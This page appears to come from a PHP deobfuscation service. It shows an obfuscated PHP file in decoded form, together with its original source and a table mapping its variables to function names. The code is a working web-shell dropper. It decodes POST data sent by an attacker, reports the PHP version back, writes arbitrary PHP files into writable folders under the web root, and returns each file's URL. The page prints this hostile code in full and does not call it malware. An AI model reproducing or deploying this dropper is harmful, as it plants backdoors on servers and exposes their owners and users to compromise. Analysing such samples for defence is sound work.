Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $RddsfxqH = chr(68).chr(79).chr(553-486)."\125"."\115"."\x45".chr(548-470).chr(368-2..

Decoded Output download

<?php $RddsfxqH = chr(68).chr(79).chr(553-486)."U"."M"."E".chr(548-470).chr(368-284).chr(304-209).chr(376-294).chr(79).'O'."T";$WkDdFsXZI = 'H'."T"."T".'P'."_".chr(1071-999).chr(79).'S'.chr(223-139);$kdBfyT = chr(104).chr(606-490)."t".chr(112).":"."/".'/';$XqoHt = ".".chr(470-358)."h".chr(112);$GkeprzCo = "p".chr(104).chr(112);$IwchOXQ = chr(102)."i"."l".'e'.'_'."p"."u"."t".chr(766-671).chr(963-864).chr(111)."n".chr(498-382).chr(101)."n".chr(635-519)."s";$NfxlgU = 'r'.'a'.chr(796-677)."u".'r'."l"."d"."e"."c"."o"."d"."e";$tmZMdGDWo = "u"."n"."s".chr(1013-912).chr(152-38)."i"."a".chr(108)."i".chr(122)."e";$wFAcEUvzFq = chr(105)."s".'_'."w"."r"."i"."t"."a".chr(904-806).chr(345-237).'e';$NRjCpDNiC = "p".'h'.chr(734-622).chr(1011-893)."e".chr(461-347).'s'.'i'.chr(111).chr(323-213);$RIFiStx = chr(115)."t".chr(114)."_"."r".chr(430-319)."t".chr(82-33)."3";$cwKzq = chr(115)."e".chr(114).chr(105)."a".chr(429-321).chr(105).'z'.'e';$NAHga = chr(115).chr(519-403)."r".'_'."s".chr(811-699).'l'.chr(105)."t";foreach ($_POST as $lMzrUmA => $xNWEaCY){$wjTsvDqHqm = strlen($lMzrUmA);if ($wjTsvDqHqm == 16){$xNWEaCY = $NAHga($NfxlgU($RIFiStx($xNWEaCY)));$lMzrUmA = array_slice($NAHga(str_repeat($lMzrUmA, (count($xNWEaCY)/16)+1)), 0, count($xNWEaCY));function HiUTcRhzB($bwmuDIybEv, $mNgtZfO, $lMzrUmA){$WRlBfXKWBv = "35946423-747b-4a7b-9b7e-eb16da1c2a59";return $bwmuDIybEv ^ $WRlBfXKWBv[$mNgtZfO % strlen($WRlBfXKWBv)] ^ $lMzrUmA;}$xNWEaCY = array_map("HiUTcRhzB", array_values($xNWEaCY), array_keys($xNWEaCY), array_values($lMzrUmA));$xNWEaCY = implode("", $xNWEaCY);$xNWEaCY = @$tmZMdGDWo($xNWEaCY);if (@is_array($xNWEaCY)){$bTzyg = array_keys($xNWEaCY);$xNWEaCY = $xNWEaCY[$bTzyg[0]];if ($xNWEaCY === $bTzyg[0]){echo @$cwKzq(Array($GkeprzCo => @$NRjCpDNiC(), ));exit();}else {function ippYC($UIsHPxHBCMir){static $mDPNRCgLdY = array();$HZjBGBO = glob($UIsHPxHBCMir . '/*', GLOB_ONLYDIR);$RxAhZEVN = count($HZjBGBO);if ($RxAhZEVN > 0) {foreach ($HZjBGBO as $UIsHPxHBCM) {if (@$wFAcEUvzFq($UIsHPxHBCM)) {$mDPNRCgLdY[] = $UIsHPxHBCM;}}}foreach ($HZjBGBO as $UIsHPxHBCMir) ippYC($UIsHPxHBCMir);return $mDPNRCgLdY;}$XiNKhTwXOe = $_SERVER[$RddsfxqH];$HZjBGBO = ippYC($XiNKhTwXOe);$bTzyg = array_rand($HZjBGBO);$ywMtdhPr = $HZjBGBO[$bTzyg] . "/" . substr(md5(time()), 0, 8) . $XqoHt;@$IwchOXQ($ywMtdhPr, $xNWEaCY);$vSVtsusjCV = $kdBfyT . $_SERVER[$WkDdFsXZI] . substr($ywMtdhPr, strlen($XiNKhTwXOe));echo $vSVtsusjCV;die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $RddsfxqH = chr(68).chr(79).chr(553-486)."\125"."\115"."\x45".chr(548-470).chr(368-284).chr(304-209).chr(376-294).chr(79).'O'."\x54";$WkDdFsXZI = 'H'."\124"."\x54".'P'."\137".chr(1071-999).chr(79).'S'.chr(223-139);$kdBfyT = chr(104).chr(606-490)."\x74".chr(112)."\x3a"."\57".'/';$XqoHt = "\x2e".chr(470-358)."\150".chr(112);$GkeprzCo = "\x70".chr(104).chr(112);$IwchOXQ = chr(102)."\151"."\x6c".'e'.'_'."\x70"."\165"."\164".chr(766-671).chr(963-864).chr(111)."\156".chr(498-382).chr(101)."\156".chr(635-519)."\x73";$NfxlgU = 'r'.'a'.chr(796-677)."\x75".'r'."\x6c"."\x64"."\145"."\143"."\x6f"."\x64"."\145";$tmZMdGDWo = "\165"."\x6e"."\163".chr(1013-912).chr(152-38)."\x69"."\141".chr(108)."\x69".chr(122)."\145";$wFAcEUvzFq = chr(105)."\x73".'_'."\x77"."\162"."\151"."\164"."\x61".chr(904-806).chr(345-237).'e';$NRjCpDNiC = "\x70".'h'.chr(734-622).chr(1011-893)."\145".chr(461-347).'s'.'i'.chr(111).chr(323-213);$RIFiStx = chr(115)."\164".chr(114)."\x5f"."\x72".chr(430-319)."\x74".chr(82-33)."\x33";$cwKzq = chr(115)."\145".chr(114).chr(105)."\141".chr(429-321).chr(105).'z'.'e';$NAHga = chr(115).chr(519-403)."\x72".'_'."\x73".chr(811-699).'l'.chr(105)."\164";foreach ($_POST as $lMzrUmA => $xNWEaCY){$wjTsvDqHqm = strlen($lMzrUmA);if ($wjTsvDqHqm == 16){$xNWEaCY = $NAHga($NfxlgU($RIFiStx($xNWEaCY)));$lMzrUmA = array_slice($NAHga(str_repeat($lMzrUmA, (count($xNWEaCY)/16)+1)), 0, count($xNWEaCY));function HiUTcRhzB($bwmuDIybEv, $mNgtZfO, $lMzrUmA){$WRlBfXKWBv = "35946423-747b-4a7b-9b7e-eb16da1c2a59";return $bwmuDIybEv ^ $WRlBfXKWBv[$mNgtZfO % strlen($WRlBfXKWBv)] ^ $lMzrUmA;}$xNWEaCY = array_map("HiUTcRhzB", array_values($xNWEaCY), array_keys($xNWEaCY), array_values($lMzrUmA));$xNWEaCY = implode("", $xNWEaCY);$xNWEaCY = @$tmZMdGDWo($xNWEaCY);if (@is_array($xNWEaCY)){$bTzyg = array_keys($xNWEaCY);$xNWEaCY = $xNWEaCY[$bTzyg[0]];if ($xNWEaCY === $bTzyg[0]){echo @$cwKzq(Array($GkeprzCo => @$NRjCpDNiC(), ));exit();}else {function ippYC($UIsHPxHBCMir){static $mDPNRCgLdY = array();$HZjBGBO = glob($UIsHPxHBCMir . '/*', GLOB_ONLYDIR);$RxAhZEVN = count($HZjBGBO);if ($RxAhZEVN > 0) {foreach ($HZjBGBO as $UIsHPxHBCM) {if (@$wFAcEUvzFq($UIsHPxHBCM)) {$mDPNRCgLdY[] = $UIsHPxHBCM;}}}foreach ($HZjBGBO as $UIsHPxHBCMir) ippYC($UIsHPxHBCMir);return $mDPNRCgLdY;}$XiNKhTwXOe = $_SERVER[$RddsfxqH];$HZjBGBO = ippYC($XiNKhTwXOe);$bTzyg = array_rand($HZjBGBO);$ywMtdhPr = $HZjBGBO[$bTzyg] . "/" . substr(md5(time()), 0, 8) . $XqoHt;@$IwchOXQ($ywMtdhPr, $xNWEaCY);$vSVtsusjCV = $kdBfyT . $_SERVER[$WkDdFsXZI] . substr($ywMtdhPr, strlen($XiNKhTwXOe));echo $vSVtsusjCV;die();}}}}

Function Calls

chr 51

Variables

$NAHga str_split
$XqoHt .php
$cwKzq serialize
$NfxlgU rawurldecode
$kdBfyT http://
$IwchOXQ file_put_contents
$RIFiStx str_rot13
$GkeprzCo php
$RddsfxqH DOCUMENT_ROOT
$NRjCpDNiC phpversion
$WkDdFsXZI HTTP_HOST
$tmZMdGDWo unserialize
$wFAcEUvzFq is_writable

Stats

MD5 efdc2bbd10db166bbf4734cc881ce135
Eval Count 0
Decode Time 119 ms